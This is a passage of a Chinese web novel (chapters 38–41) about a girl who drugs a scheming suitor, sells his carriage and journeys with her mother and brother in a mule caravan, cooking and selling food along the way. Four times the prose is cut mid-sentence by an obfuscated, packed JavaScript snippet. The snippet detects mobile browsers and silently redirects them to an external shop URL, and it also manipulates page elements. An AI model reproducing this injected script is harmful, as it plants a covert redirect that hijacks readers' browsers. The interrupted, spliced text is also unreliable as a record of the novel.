姜宁心中呸了一声，撇撇嘴，颤着声线回应：“是我，我怕。” 胡光骏大喜：“放心，快过来，我看了，这边无人！” 胡光骏见她孤身一人，穿越浓重阴影前来，知道她心中有他，心下得意，也有些心疼。 没办法，城里高家眼线太多，万一走漏了半点风声，他都承受不起，只能委屈委屈阿宁了。 他连忙表示自己的诚意。 走到姜宁的面前，去牵她，被姜宁扭身拒绝了。 姜宁走到马车前，就着月光气鼓鼓看向他，试探道：“我来了，你可以帮忙，救出我娘了么？” 胡光骏哪里有不依的道理，连忙揭开车帘，从座位下掏出一个钱袋，里头整齐码放着三十贯，指天发誓：“诺，我钱都准备好了，我们今夜在此歇一晚，明日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091045|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一早，便去衙门接人。” 姜宁恼怒的睁大眼睛，生气道：“什么叫今晚在此歇一晚？你我孤男寡女，怎么歇？你把我当什么人了，不行，我要回去。” 扭身便走。 胡光骏从后面，拉住她衣摆指天发誓保证：“你放心，我什么都不做，不会动你一根毫毛，我，只是好久，没看你，想和你说说话。” 他连忙从怀里掏出一个盒子，在姜宁面前讨好：“你看，我给你准备了只金簪，还有，我在马车里，准备了酒水，我们小酌几杯，你听我说说，我在衙门的趣事，好不好？” “你放心，马车里的坐垫我换了新的，还准备了两条新棉被，过会，你裹着一条，我裹着一条，我们井水不犯河水，一起躺在车里，看星星，好吗？” 一起看星星，信你个鬼。 姜宁站住身，眨巴眨巴眼睛：“真的？” 胡光骏摆出一副最真诚的表情：“真的。” 姜宁不提再走的话，走到马车前面，转了一圈，寻了马车后一片枯草地：“车上拥挤，我们在此，看星星吧。” 胡光骏暗喜，连忙道：“你坐着，我从车上搬酒水下来。” 说着，从马车里提下一个食盒，有一小壶酒，三个下酒菜，两个小酒杯。 待他摆放好在中间，姜宁歪倒在一边，抱怨道：“疑，这草地上有刺，扎到我了！” 胡光骏凑近查看，果然看到姜宁白皙的手掌上，扎着一颗黑漆漆的小木棍，伸手一把，冒出殷红的小血珠，正欲低头含着，被姜宁推了一把，眼波流转，嗔他一眼：“你倒是弄个坐垫来啊！” 胡光骏被她嗔得浑身一麻，宠溺一笑，又折身去车上搬坐垫。 姜宁急忙揭开酒盖，倒了半包魏婆婆给的药进去。 一勺能放翻一个大汉，半包有三勺，应该能放翻一个汉子三次吧！ 等胡光骏回来，她已经正襟危坐。 感受软软坐垫，姜宁面上有了笑意。 胡光骏倒了一杯酒递给她：“阿宁，是我不对，喝下这杯酒，就当原谅我了！” 姜宁几乎傻眼，脑中飞速运转，怎么办怎么办？喝下，不得把自己放翻。 她灵机一动，接过酒杯，抿唇粘染了点酒味，作势被酒呛到，咳嗽几身声，找系统买了一杯美白露，置换掉杯子的酒，然后一饮而下。 胡光骏见她喝下，高兴的拎起酒壶，往自己嘴里灌了半壶。 爬过来想抱她：“这是我特意寻来的暖情酒，最适合夫妻！” “来吧，我们一起共赴……” 巫山。 他话还没说完，便一头栽倒在草地上。 姜宁上前推了他几下，没推动。 也不知道他梦见什么，睡得迷迷糊糊的，还露出一脸恶心的笑。 姜宁拍着怦怦跳的心口 好险，差点就完蛋了，幸好有魏婆婆给的药，果真好用！ 她平复心跳后。用力踹他十大脚，算是报了姜氏的愁。 利索爬进马车，揭开座位，取走钱袋和金簪。 从怀里掏出两封信，看了信封后，塞了一封到他怀里，收拾了酒壶。 走了几步又返回来，牵住缰绳，拖着马走。 这么个马车，弄到叶城，肯定值老钱了。 39. 第 39 章 姜氏等得心焦，等到半夜，姜宁才回来，被她扯着耳朵低声痛斥：“你个浑小子，到处乱跑，也不怕拍花子的把你掳走！” 姜宁捂着耳朵连连求饶。 待姜氏平息怒火，她跃跃欲试：“阿娘，我捡到一辆野生的马车，我们自己坐马车走吧！” 若之前只是不悦，现在便是暴怒，她咬牙切齿，手上没留力气，几乎没把她耳朵车扯下来：“你仔细说，哪来的野生马车，你到底做什么去了？” 不怕孩子跳脱，最怕孩子不学好，偷鸡摸狗。 姜宁连连求饶，低声解释：“不是偷的，是胡光骏给我的！” 姜氏冷哼一声，手下留耳，顺便帮她揉了一下：“好好说，他为何送你马车！” 姜宁在撒谎和实话之间，顶不住姜氏犹如刀刮的眼神，选择半真半假：“你被衙门捉走，便是他弄得手脚，要我去小树林找他。” 听到这，姜氏几乎没气死，拉着她前后仔细看了一遍，见她完好无损，咬牙切齿道：“你去了，然后呢？” “我用魏婆婆给的药，把他放翻了，现在他在那睡得正香，没有一两天，醒不过来。” 魏婆婆也真是，把这样的药给小孩拿着，真是不稳重。 她把药收缴了过来，骂道：“没用的东西，所以你就只把他药倒，怎么不一不做二不休，把他割了，免得他像只发情的苍蝇，只会围着你转，恶心又烦人！” 姜宁啊了一声，她以为要被阿娘骂一顿。 阿娘果然骂她，不是骂她收拾胡光骏，是嫌她下手不够，暂草除根。 姜宁看着姜氏脸色，小心询问：“他还躺在那，我再去一次？” 姜氏给她一巴掌：“算了，来不及了，准备准备，要验照帖了。” “我们有了马车，可以自己走啊。”马车被她停在外头，交了看守费。 姜氏摇头：“你们不懂，路途遥远，途中可能遇到野兽，车把式也同时兼职护卫，跟着他们才安全。”听说车队和山头上的好汉，有默契，不会被打劫。 若是她们娘三个独自出发，不是落入虎口，便是被掳入山中，哪里回得到家。 有马车的一般是官宦家庭，女儿弄了辆马车来，实在扎眼。 还给胡光骏的话，她不甘心。丢掉，白白便宜外人。 姜氏立马做出了决定：“我们必须把马车卖掉。” 打发苏慎守着行李，娘两个出了门找看守取走马车，把马车上的东西全部搜刮一空，放在自家行李里。 姜氏爬上马车，跪着驾车，娴熟的赶着马车到处走，她仔细看了好几家大车店，径直走到一家准备出发的车队面前，凑近调配装载的掌柜，低声询问：“老板，要不要买马车？” 掌柜深深看了她一眼，又看了看她身后的马车，九成新：“自然是要的，多少钱？” 姜氏解释：“新买的，五十贯，我急着用钱，您给四十八贯！” 掌柜嗤笑：“三十贯，我也等着用，不卖就拖走！” 姜氏肉痛不已，没办法，她们娘三个自驾马车，那是在脑门上写着我们是肥肉，人人都能来咬一口。 赔笑：“因我当家的受了伤，等着钱抓药，没法子，处置了新买的车，您再添点，确实太少了。您至少给我四十贯。” 这时，领队跑过来边擦汗，边询问：“掌柜的，还有一车行李，大板车实在捆不下了，要不，退掉几个客人，或者再调辆车给我？” 其他车都排好了，哪里有空车牲口。 卖出的车票，退票的话，不仅要赔票钱，还要赔食宿费，又影响声誉，不划算！ 他无奈看了一眼面前的棒槌手下，似笑非笑看着姜氏：“你是看我急着用车，才来的吧！这样，我给你三十五贯，若是不愿意，就算了。” 姜氏同意，立马把缰绳给了掌柜。 掌柜仔细检查了下马匹，确实是年富力强的驽马。 把缰绳递给车把势，耳语道：“这车给你，你去后院喊个驾车的师傅，到了水城，四十五贯卖掉，不用带回来。” 掌柜的领着他们进门，到柜台前点了三十五贯给她们，不点破道：“大姐以后，有这样的旧马车，还找我哈！” 姜氏尴尬一笑，示意姜宁把钱藏好，护着她挤进熙熙攘攘的人群里，绕了半天，回到自己的行李旁。 正说着，他们的车队开始对照碟点名，分配装载车子。 车队共有二十个骡车，一车分配两家或三家人。一次出行，连车把势，大大小小近二百人，乱哄哄的。 因为行李多，占了两个位置，又缴了四百文的货运费，一百文的座位费。车上捆好行李后，他们自己爬上去，寻找个嘎嘎角落，挤着坐下来。 和他们一车的是陆家人，一个母亲带着三个儿子和个闺女，闺女低着头，穿着半旧的绢衣，躲在行李里不露面，据陆婆子说，他们去花城嫁女儿。 吵闹了半个时辰，车把势唷哟了一声，甩了把鞭子，赶着驴出发。 顺着东门，踏上了坑坑洼洼的泥土大道。 这时，天开始慢慢亮了起来，姜宁兴致勃勃盯着四处观望，绿油油的青山，蔚蓝的天空，一条黄色大道通向远方，道路两边安静的村庄，被路过的驴队吵闹，传来几声狗吠回应，一切都像带着滤镜般美好。 他们的驴车在中间，前面远远伸出去，后头也是驴车，一架马车都没有，她心中暗暗一惊，幸好姜氏有经验，否则，她们便成了众矢之的。 坐了两个时辰的驴车，她没了观赏风景的兴致，开始烦躁。 太阳明晃晃晒在身上，带了帽子还是热。好似要把人晒出油一般，路面被车队带起了灰尘，糊在脸上，混着汗水，难受极了。 她屁股下头，垫了胡光骏马车里薅来的棉被，可是她依旧被颠簸得要散架一般，全身酸疼。 姜氏一直趴着，更是难受，苏慎倒好，一只手抱着一只小母鸡，趴在他的那个窝里，睡得挺香。 她也学着苏慎，背靠身边高耸的行李，闭目养神，不一会，还真睡着了。 等她醒来，已经是中午，车队停在路边，车把势们跳下车，到旁边松散松散，围着炉子喂水送料，大家都梭下车，走跳几步松散骨头。 回首望去，四周都是茫茫青山树林，不见人烟。 领队的顺着敲锣吆喝：“男的到路左边，女的到路右边， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098865|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不许走远，谁要坏了规矩，赶出车队，休息一刻钟便走。” 给大家伙一个统一的地方如厕。 苏慎这样的小孩还好，跳下路随便找个地方撒尿。 姜宁扶着姜氏要去右边，被车把势喊住：“小兄弟，你到左边来，不要坏了规矩。”示意陆婆子母女搭把手扶着姜氏。 姜氏捏了下姜宁的手臂，示意她安心。 自己杵着棍子下了路，和陆婆子等人，穿去林子，寻了棵大树遮掩，解决后回来。 姜宁现在作男装打扮，等大家都回来，她才叫上苏慎守着，匆匆去左边方便了一下。 稍候，车队开始出发，姜宁已经被折腾得没了力气，这该死的出行，太折腾人了。 姜氏递了一个破酥包给她：“将就吃吧，晚上天黑，到了住的地方，能做口热乎的吃。” 破酥包软软的，但是冷可，猪油也凝固起来，尝了一口，没有平时的香松可口，她顿时没了胃口，从新包好，放回怀里。 喝了几口竹筒里带的水。 好不容易挨到天黑，终于远远的看到一处村舍。 车队里所有人在欢呼。 车把势停了车，卸了驴子缰绳，指了车前一片空地：“前头有井可以取水，你们在这里生火做饭，不要跑远，对付一晚。 这里是个小村子，没有客栈，有不习惯的，也可以去问问村民，交些铜钱，买些热汤烫饭，投宿一晚，明日寅时点名装车，日出（5点）准时出发。” 说着，牵了驴子进了一处房舍，里头点了油灯，人影晃动，飘出阵阵饭香，比起在外面空地上，席地而坐干瞪眼的乘客，他们的待遇相当好了。 姜宁饿得前胸贴后背。 早有活泛的村民来揽客。 住一晚，大通铺一个位置二十文，一间房只要二百文，一荤三素的热乎乎饭菜，一碗二十文。 也有新鲜的菜蔬，柴火等卖，大部分旅途需要的物品，都有村民兜售，价格么，比正常贵三倍吧。 不少客人纷纷掏钱，姜氏有些意动，打发姜宁去买热饭。 姜宁有心要一间房，姜氏摇头，没几个人住店，一来价贵，二来担心不干净。宁愿和大家伙挤在外头的空地上。 她们兜里有钱，饭菜比平时贵了两倍，勉强接受。 姜宁翻出三个陶碗去买饭，看到卖饭菜的妇人，添饭菜的时候，黑漆漆的指甲，伸到了碗里，顿时没有食欲，拉着姜氏：“我们带了茶炉，自己焖饭吃吧！” 从行李里翻出茶炉，添入柴火，放上小锅。 井水一文一桶，买了一桶先烧热洗了个手脸。 糙米淘洗干净后，冷水抹一层猪油，土豆去皮切成块，撒些盐，放比平时少一半的水一起炖煮，等水快干时，表面码放上切成薄片的烟熏羊肉，继续盖上锅盖小火闷熟。 等饭熟的功夫，她找卖饭菜的妇人花了十个铜板，买了一把葱和几个辣椒，一块黄姜，剁得细细的，撒点盐腌制。 真贵，这点子东西在菜市场最多两文。 不一会，一股浓烈的，混着米香油脂香和烟火香的浓烈味道，从锅里飘出来，整个空地，弥漫着这股浓香。 40. 第 40 章 揭开锅盖，那股霸道的油脂香让在场的人忍不住咽了口口水。 大家伙伸长脖子看着小铁锅，锅里的米饭被姜宁添了一碗，露出了全貌，最上层是红褐色的肉片。 同样的肉片，她家的肉片不一样：肉片四周有一层灰黑色壳，好似穿了衣裳，里头油润有光泽，间或点缀着晶莹剔透的油脂，一看就饱含汁水。 肉片下面是微微泛黄的米饭，吸饱了水分和油脂，胀胀的，胖胖的，粒粒分明均匀，里头还藏着金黄色的土豆，被勺子挖开的不规则断面上，沾了些细小颗粒，不用尝就知道又沙又糯。 最下头是一层金褐色的锅巴，勺子切的时候，能听到卡拉的脆响。 添了一碗后，她把腌好的小咸菜夹了一筷子到上头，端着碗递给姜氏。 同样舀了一份给苏慎，这次没放小咸菜。 苏慎不愿意了，指着小咸菜：“我也要鬼火炉（绿，发音炉）！” 姜氏骂到：“那是鬼火炉，辣了头顶冒鬼火，你吃哭旁人笑话！” 苏慎更不愿意了，小脸胀得通红，谁要哭了，谁是孙子。自己伸筷子去夹。 没桌子，旁边的松树上，扯了些绿色松毛，厚厚铺在地上，锅碗饭菜置在地上的松毛上，炉子里还有火星子，姜宁怕他被烫到，安抚的给了他一小筷子：“你先尝尝，不够再给添，味道有点冲！” 最后自己添了一碗。 锅里余一碗的量，那是留给姜氏的，姜氏饭量大，一般要两碗。 姜家人围坐在松毛上，正要开吃，和她们同乘一车的陆婆子捧着一把钱，和姜氏商量：“你们锅里剩下的，卖我了吧。 我也给你二十，和那边妇人一个价。” 她去妇人那边买饭，看着妇人脏兮兮的围裙，眼前一黑，几乎没忍住手把她围裙摘下来洗。三个儿子不挑剔，猪食也吃得下去，她带了三份给儿子。 陆婆子和女儿看不惯不干不净的厨房，自家行李大部分是女儿的嫁妆，吃食准备了些不占地方的好打理的干粮，看着旁边色香味俱全的冒着热气的饭菜，实在忍不住了，买一份和女儿分吃。 姜宁不愿意，正要解释。 姜氏已接过陆婆子的碗，从锅里铲给她，贴心的找了双没用过的筷子，夹了一大筷子鬼火炉，笑着递给陆婆子，让她咸菜吃完，又过来夹。 她们饭菜上头是羊肉，成本在十文左右，二十文，能赚一倍的钱，今日的菜钱赚回来了，姜氏美得冒泡。 姜宁无奈道：“我重新给你做一锅？” 姜氏不愿意：“昨日的包子还剩几个，你热一下我们吃掉，别糟蹋粮食。” 听到我们吃，苏慎从陶碗中抬出脸，苦兮兮，严肃表达自己的不满：“我不，卖剩下的包子，昨日你分了些给邻居，剩下的宵夜吃，早食吃，午饭吃，继续吃，我要变包子了！” 姜宁拿出包子，还剩二十六个，凑到鼻尖闻了闻：“天气热，都有酸味了，吃坏肚子，这前不沾村后不沾店的，去哪里看大夫，即便有大夫，开的药，价格估摸着也是城里的三倍。” “我明天掰开，日头辣，放车上晒干，留着喂鸡，也没糟蹋粮食。” 姜氏纠结了一会，万一真闹肚子，车队停下等她一人，多不好：“行吧，就着锅里的油，添把柴，加点水，抓一把米，熬点粥喝吧，免得费事。” 姜宁有些时候挺无语，姜氏样样好，就是是个省事的性子，用洗锅水做饭，她，真的没这个手艺。 算了，重新做一锅吧，她放下碗筷，端着锅洗干净擦干重洗抹油。 陆婆子期期艾艾过来，不好意思递来六十文：“你多做三份吧，我儿子没吃饱，喊着还要。” 小儿子吃完妇人做的饭菜，已经放下筷子了，看她们碗里的，颗粒分明米饭，嘴馋夹了一嘴，便嚷嚷着娘偏心姐姐，重女轻男，给兄弟三人吃难吃的，她们娘两躲着吃好的，必须也要一碗。 就差在地上打滚。 大儿子二儿子不吭声，意思不言而喻。 三个儿子是家里干活的主力，平时胃口大，确实没吃饱，干脆再来买三碗。 姜宁愕然了一下，笑着说好，围观的几家，观了一场热闹，也有十多个要买，看陆家小儿子吃不到不罢休的模样，不会差的。 姜宁收了九份的钱，后面就不卖了：“我们的锅小，只能装十碗的量。” 也有人通情达理：“没事，没事，我们等下一锅。” 她们在一边看得清楚，姜家的肉是羊肉，同样的一碗，她家用的是猪油，妇人那边，用的是采油，荤菜放猪油渣。 猪油吃了顶饱啊，更不说姜家干净味好，绿松毛上做饭，灰尘被压盖了，清清爽爽的，妇人那边，就几只木盆装着食物，放在灰地上，还有人在旁边吐痰，汰，好恶心。 这边卖出一锅后，其他又有人找来。 稀里糊涂的，姜宁卖出了四锅四十份，收了800文。后面没卖了，因为没米了。 她抽空巴拉自己的饭时，脑子随便算了算。 肉是高夫子给的，不要钱，带的米已经没有了，猪油还剩得多，又花了四十文买了葱姜辣椒回来做配菜。 大概赚了700文吧，啧，路费回来一半了。 陆家小儿子从母亲手里端过自己的碗，迫不及待夹起油润润的羊肉，粉嫩的红色，外皮又是焦黑的，吹了吹热气，塞到嘴巴里。 先是滚烫的汁水，滋了出来，立刻喷溅到唇壁上，唇壁微微疼了一下，便是无尽的咸香，又混合了一股烟熏火燎的柏树香，替换了羊肉的腥膻油腻，太好吃了，唯一的不足，便是太少，才四片，不够吃啊。 土豆软软糯糯，又起沙沙的颗粒感，让人恨不得连舌头都吞下去。 上层米饭香软可口，锅底的米饭却是焦脆的，放在口里嘎子嘎子响。 还有最后那叫鬼火炉的小咸菜，香葱的冲辣，辣椒的清辣，黄姜的温辣，被咸味腌渍在一起，成了一种层次丰满的立体辣，三百六十度无死角环绕全身，吃了后，辣化作一股热气，冒到头顶，一天的坐车的疲惫都被辣成了绿色的鬼火，飞走了，剩下的微辣回甘内敛又余长。 他嘴里咵嚓咵嚓嚼着香脆锅巴，抬头看着母亲：“阿娘，剩下这几日，我们跟着姜家吃吧！”为了让母亲同意，他做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103865|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让步：“保证只吃一份。” 姜家用料实在，顶饿，吃一份就够。 大家有样学样，从松树上扯了些松毛铺在自家休息的地方，围成个圈子吃饭聊天，吃完买上一桶井水，带了炉子的，热一下，没带炉子的，就用冷水，洗脸泡脚，松散松散发酸的骨头，旅途的辛劳好似都不见了。 姜宁和苏慎一起收拾干净锅碗，放在一边晾水，打算帮姜氏换药。 大庭广众的，不好整哪。 她灵机一动，地上的松毛重新改成长方形，从旁边的树林里，拿菜刀，砍了五只长树枝，用绳子扎成成屋顶三角形的骨架立在松毛上，捡了几个石头压稳后，在屋顶上盖上蚊帐，在盖上油布，里头松毛上铺好自家的铺盖，一个简易防蚊的帐篷便做好了。 同车陆家有样学样，做了差不多的帐篷，她们家没有油布，用了个被面。 其他车。有孩子的，大部分做了个类似的，懒得做，至少做个小的给孩子，秋天的蚊子最毒，咬一口就是蚕豆大的个红包，忒痒。 也有人觉得白费力气，嗤笑一声裹着衣裳倒头睡觉。 虽说坐在车上，但感觉比在家干了一天活还累。 苏宁躲进帐篷里，让苏慎在外头守着，点了蜡烛，帮姜氏用烧酒清洗伤口后，重新换了药。 看着伤口已经开始结痂，没有肿胀，应该问题不大。 收拾干净后，几人把行李收到脚边，放下油布挡住入口，黑暗瞬间隔绝了外头星光和虫鸣，只剩地面附近一点缝隙，她翻个身闭眼睡觉。 & “喵嗷！” 静谧的夜空中，传来一声清亮的叫声。 姜宁瞬间被惊醒，呼啦坐起身，望见帐篷下两只脚影，心脏扑通扑通跳，大喝：“滚开！” 顿时，帐篷外头传来一阵凌乱的脚步声，越跑越远，而后消失不见。 不少人被骂声叫醒，然后，骂娘声此起彼落。 “艹，我的钱袋不见了。” “是哪个天杀的，摸走了我的干粮！” “呀，我的鸡呢？” “我的簪子呢？” “抓贼啦，我带回家的布料被偷啦！” 一时间，大家点燃油灯火把，空地上闹将起来，查看自家少了的东西。 姜氏也醒了，去摸苏慎，摸到了苏慎怀里的鸡，她几乎没气死。这个浑小子，到了家撵他去鸡窝睡觉。 摸到苏慎小腿上绑着的布袋，里头是自家的钱袋，放下心。 又检查了一遍自家的行李，还好，还好，她家的东西都在。 苏宁揭开油布到外头看了下，大家忙着检查自家的行李。 她扭头便看见，放在外面松毛晾水的锅碗，只剩几个不值钱的陶碗，锅被偷走了，炉子倒在地上，洒了一地的草木灰，上头蹲着一只猫，玛瑙一般的眼睛里，闪着灼灼的亮光，好似在嘲讽她：“你个蠢货，被偷家了都不晓得！” 看到她出来，舔了下爪子，纵身跳到一旁的树枝上，转眼不见。 姜宁：“……” 她凌乱了！ 她被一只野猫嫌弃了？ 41. 第 41 章 空地上咒骂声不断，有人嚷嚷着要去抓贼。 屋里油灯亮起来，门嘎吱响动，车把式们皱眉披衣走了出来，询问经过，安抚众人，最后领队站起来道：“诸位可看见，是谁偷的？贼往哪里跑了？” 大家面面相觑，睡得迷迷糊糊的，只听到一声大喝，醒过来便发现东西不见了。 不晓得是车队里的，还是这个村子里的人偷的？ 又有人喊着报官，让衙门来主持公道，捉拿贼人。 领队耐着性子安抚：“我们今日走了约莫八十公里路，离叶城不算远，要报官的话，我调配几个车，送你们回去。” “因是你们要求回去的，把你们送到衙门，我们这趟行程就算结束了。没有异议的话，请要回去的乘客到我这里登记，我为各位调配驴车。” 众人不高兴了，车店给出的解决方案是送他们回去了事。 花了两百的人头费，一百的车费，丢了的东西，这些怎么算？ 领队冷笑：“难不成，众位还想让我们车店赔不成？你们想想，东西是你们自己没看好，被偷的，又不是我们拿的，这怪不到我们头上吧？ 我们按照约定，安全运送你们到花城，你们中途要折返，是你们违约，我们车队的行程计划，车辆调动被打乱，我还未找各位要赔偿，你们不能反过来要我要赔偿。” 众人听了，顿时一愣。 是啊，人家只说保证安全把他们送到花城，可没说要赔偿旅途的损失。 若是折回去报官，按衙门推诿拖沓的尿性，不一定找回来财物，要去叶城，需要提前十天预定车票，另出三百文车费，更是赔了夫人又折兵。 顿时，众人好似被掐了脖子的鸭子，没了声。 打落牙齿和血吞，强行咽下这个哑巴亏。 又有人不甘，怨怼：“但凡你们派个人值夜，也不会发生这样的事！” 领队耐着性子辩驳：“我们白日要驾车，要驱散堵路的野兽，要预警可能拦道的强盗，值夜这点小事，你们自己处理吧。 此去约莫十天，你们每两辆车出一人轮流值夜，就过去了。” 等了一会，没人闹腾，他又喊了一句，要回去的报名，没有人吭声，他带着车把势们，扭身回去，关门睡觉。 等他们进去了，外面的乘客聚在一起骂骂咧咧，吐糟该死的贼人。 大家言语里多有不满，觉得小偷应该就是村子里的，偏偏车把势不肯出头，他们人生地不熟，不敢出头，只能聚在一起骂人，发泄一些心中怒气。 姜氏听说自家锅没了，低声咒骂偷东西的贼，喝水呛死，走路摔死。 吃饭她不担心，自家除了米粮，姜宁买了些老款月饼，能顶几日。可惜，焖饭生意做不成了。 姜宁满心都是那抹灵动矫健的身影。 书院门口不见的包子，家里做上上签月饼时，倒掉的防蝇帐，还有被动过的羊骨头，一切都有了解释，肯定是那只猫干的。 这猫今日叫醒她，惊走小偷。 它这是吃人嘴短，不愿意看她们蒙受损失，故意嚎叫吵闹。 好聪明的一只猫，要不是它主动现身，她都没发现。 要是能把它捉住，带着一起上路便好了。 转而又想到，凭着猫儿蹿房越脊的本事，她恐是抓不到的。 空地上，推出一个主事，是个身强力壮的中年汉子，自称周掌柜，他从怀里掏出个小本子，排下每日值班的车辆。 单数车今日，双数车明日，两日一个轮换，每车出一人，车内自己安排。 姜家车是双数，明日才到他们。 干脆收拾了东西，回去继续睡觉。 这次姜宁学乖了，把小茶炉，碗筷都收到了帐篷里。茶炉是粗铁打的，值大几十文。 被偷了一次，难保不会被车队里的人，顺手牵羊，偷走第二次。 许是因为有了人看守值夜，大家也有了警觉，天亮起床，没听到哪家嚷嚷又丢了东西。 找村民买水洗漱，姜宁带着苏慎，找了个没人的时候，绕到远处的田里解决问题。 回来的时候，昨夜的猫儿堵在路中，懒洋洋趴在地上，背上的黑灰相间的鱼骨纹，爪子全黑色，在朝阳下熠熠生辉，琥珀色的大眼睛泛着精光，歪着头看她一眼，站起身，高高翘着尾巴，转身悄无声息走了几步。 猫儿扭头看着她不动，不耐烦的喵儿一声，好似示意她跟上。 姜宁哦了一声，连忙小跑尾随。 猫儿满意的探出轻盈的步伐，在前面带路，带着她走过几条田埂，然后是一堆的稻草垛子。 她的锅豁然在稻草垛子后面，静静的扣着。 看到失而复得的小锅，姜宁心中大喜，拎着锅带着苏慎跑到井边，买了一锅水，趁乱抬着水，回人群，然后擦洗干净后，开始收拾行李。 姜氏看到锅，悄悄问她从哪找回来的，要不要告诉其他人？ 也许是同一人偷的。 姜宁解释：“就在草垛后面躺着，我去方便，看到捡了回来，没看到人，也没看到其他东西在。” “这地方感觉不太平，车把势们置身事外，只是提醒旅客要看好东西，我们自己有官司在身，莫要节外生枝了吧。” 她才不要回叶城，胡光骏醒来，势必找她麻烦。 “主要是，我们不晓得是谁偷的，想悄悄告诉别人，都做不到。” 姜氏颔首道是，要帮助他人，需要有自保的能力。 姜家的锅失而复得，因为他们没有嚷嚷，大家都没发现。 除了同车的陆婆子诧异，看着姜宁提着锅跑，知道这小兄弟爱干净，以为他大清早洗锅，还夸了两句。 车把势牛师傅催促上路，姜宁左右张望，寻找那抹黑灰相间的身影，哪里找得到。 收拾东西，她把些微发酸的破酥包芯子全部抠出来，寻了个干净的树叶，放在林子里，切了两片羊肉，希望小猫能吃到，算是报答它的找锅之恩。 而后捆绑牢固行李，坐上驴车摇摇晃晃出发。 坐在车上，大家开始补觉。 到了午时，太阳晒得人头昏眼花，车队靠路边停下，两边有茂密的树林可以遮挡阳光休息。 领队敲锣打鼓通知：“中午停靠一个时辰，驴子要喂草料喝水休养，大家歇歇脚，吃些干粮，不许点火，以免引发山火。” 姜宁扶着姜氏下车，靠在一颗树下休息，苏慎抱来竹筒，姜氏晃了晃，只有半竹筒，要喝到晚上落脚的地方。 姜宁笑道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108607|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事，晚上重新烧一筒水放上。” 姜宁剥开一个油纸，掏出个月饼，分成四份，自己和阿慎一份，姜氏两份。 姜氏尝了一口，灌了一大口水，皱眉：“这个月饼味道一般，味道寡淡，还干得噎死个人。” 姜宁解释：“我买药时，隔壁点心铺子半价处理，顺手买了三个，他们家月饼做的干，能多放几天。将就着吃几口吧。” 喝了些凉水，恢复了些精神。 姜宁翻出簸箕，把剩余的破酥包撕成薄片，放在太阳下晒。 苏慎捡了几片喂鸡，小母鸡扑着翅膀啄得飞快，不一会鸡嗉子撑得肥圆。 陆婆子看着雪白的包子，蹙着眉头：“造孽哦，好好的粮食，就这么糟蹋！” 姜氏大嗓门解释：“可不是么，买了些包子带着路上吃，偏偏天气热，全坏了，大老远闻到一股酸味，只能晒了给鸡吃，可心疼死我了。” 昨日眼红她家赚钱的客人，这会子面上带出幸灾乐祸的笑来。 后车一个三角眼妇人，阴阳怪气接话：“坏了也可以吃的嘛，不愧是城里人，娇气！” 姜氏吵架就没输过，冷笑：“我们可是地道的庄稼人，生不起病，万一吃坏了肚子，请不起大夫，得小心些！ 再说，鸡也是我家的，鸡吃好些多下蛋，蛋同样进我肚子，一点不亏。” 几个人闲扯打屁，太阳底下呼啦啦飞来些麻雀，叽叽喳喳和两只小鸡抢食。 姜宁不耐烦听那些妇人闲扯斗嘴，看见麻雀，不自觉咽了下口水，烤麻雀，老香了，叫上苏慎，两人一起去扑。 偏偏那些麻雀机灵得很，她们一靠近，展开翅膀飞走了，等她们转回树荫，麻雀们又飞回来，如此反复两三次，麻雀没逮到一只，人却累得够呛，树荫下休息的人们指指点点看笑话，面上都是愉悦，有七嘴八舌出主意的，也有摩拳擦掌想来帮忙的。 正闹着，车把势牛师傅提催促出发。 大家坐上驴车，姜宁涨了经验，把有些焦干的面片放在行李上晾晒，簸箕倒扣在上面，掰了根树枝，顶在簸箕一边，栓了跟绳在棍子上，另一边窝在手心里。 盖上帽子假透过缝隙观望，有麻雀大着胆子，飞过来啄食，只要落在簸箕下面，她便拉动细绳，扣住麻雀，十扣九空，姐弟两乐此不彼，苦中作乐，忙了一下午，捉到七只麻雀，用篮子装着。 太阳落山时候，她们到了歇息的地方，是个野店，一对老夫妻两个开的。 